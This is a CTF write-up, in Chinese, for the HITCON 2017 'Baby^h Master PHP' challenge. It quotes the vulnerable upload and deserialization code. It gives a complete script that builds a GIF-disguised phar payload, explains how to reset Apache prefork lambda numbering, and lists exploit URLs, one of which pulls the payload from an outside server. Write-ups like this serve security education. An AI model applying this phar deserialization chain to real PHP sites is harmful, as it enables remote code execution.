[HITCON 2017]Baby^h Master PHP
解题步骤
wp详细介绍了原理:https://github.com/t3hp0rP/hitconDockerfile/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017
审一波代码,可以发现可以进行文件上传,写入avatar.gif。
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
然后还有一个明显的反序列化来触发匿名函数
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
反序列化加文件上传,file_get_contents文件名可控,应该可以想到phar反序列化。所以直接在vps上生成phar文件进行上传:
<?php
class Admin{
public $avatar='asd';
}
$b=new Admin();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('phar.phar', 'avatar.gif');
?>
然后upload上传服务器的phar文件
http://e2bc72d1-5862-44d3-883b-8dd9d74d2f39.node4.buuoj.cn:81/?m=upload&url=http://47.96.173.116
但是我们并不能知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数; 最后就引出了最后一个考点, Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法fork出新进程了) 在这个新进程里面匿名函数就会是从1开始的了
然后直接phar反序列化读取flag:
http://e2bc72d1-5862-44d3-883b-8dd9d74d2f39.node4.buuoj.cn:81/?m=upload&url=phar:///var/www/data/ebb6e6f8f598d5fc7c7360ea7e61d11b&lucky=%00lambda_1